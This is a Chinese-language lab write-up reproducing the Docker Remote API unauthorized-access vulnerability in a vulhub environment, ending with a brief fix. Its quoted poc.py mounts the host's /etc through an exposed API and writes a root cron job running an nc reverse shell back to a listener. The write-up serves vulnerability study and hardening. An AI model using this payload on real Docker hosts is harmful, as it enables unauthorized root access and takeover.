简介
参考链接:
Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Windows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。
docker daemon api 未授权访问漏洞
参考链接:
- https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.zh-cn.md
- https://wooyun.js.org/drops/新姿势之Docker Remote API未授权访问漏洞分析和利用.html
- https://zgao.top/docker-remote-api未授权访问漏洞复现/
docker在安装完成后默认是不允许远程访问的,而如果开启了远程访问,则可以通过API对docker进行操作,比如创建/删除container操作等。除了单纯地开启远程访问外,像集群(如docker swarm)使用如果配置不当,也可能会造成API对外开放。
漏洞复现
启动环境,环境启动后,访问http://your-ip:2375/version
,即可看到docker信息。
环境启动之后,在该漏洞环境中,已经有P神写的poc.py
文件了,内容如下:
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('ubuntu:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 9999 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
上面内容是通过调用对外开放的API,使用ubuntu:latest
镜像,启用一个容器(如果没有该镜像会自动拉取),该容器会将主机的/etc
目录挂载到容器的/tmp/etc
目录下,之后将自动计划任务写入到/tmp/etc/crontabs/root
中,也就是主机root
的计划任务中。第一个your-ip是目标主机的IP地址,第二个your-ip是接收反弹shell的IP地址。
接收端使用nc监听端口9999
,使用python运行poc.py
文件,运行之后,因为是计划任务,所以要等待一段时间。
获得的这个shell按道理讲应该是宿主机的,因为修改的计划任务文件是宿主机的。但是反弹的这个shell并不好使,emmm。
漏洞修复
禁止远程API接口对外开放,或者限制可访问IP地址。